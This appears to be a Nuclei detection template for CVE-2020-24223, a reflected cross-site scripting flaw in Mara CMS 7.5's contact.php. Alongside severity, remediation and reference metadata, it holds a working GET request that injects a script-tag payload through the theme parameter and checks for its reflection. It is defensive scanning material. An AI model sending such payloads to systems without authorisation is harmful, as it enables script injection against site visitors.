id: CVE-2020-24223

info:
  name: Mara CMS  7.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Mara CMS 7.5 allows reflected cross-site scripting in contact.php via the theme or pagetheme parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Mara CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48777
    - https://sourceforge.net/projects/maracms/
    - https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24223
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24223
    cwe-id: CWE-79
    epss-score: 0.15272
    epss-percentile: 0.94712
    cpe: cpe:2.3:a:mara_cms_project:mara_cms:7.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mara_cms_project
    product: mara_cms
  tags: cve2020,cve,mara,xss,edb,mara_cms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f2a8801d4225bfd31260267249c856a9f5c5795dad39a2a47a99533f8f21f191022100e9f2486c9066003528d49d46a8278a0312330c93aa431f2621d8d39d3c2a7ca4:922c64590222798bb761d5b6d8e72950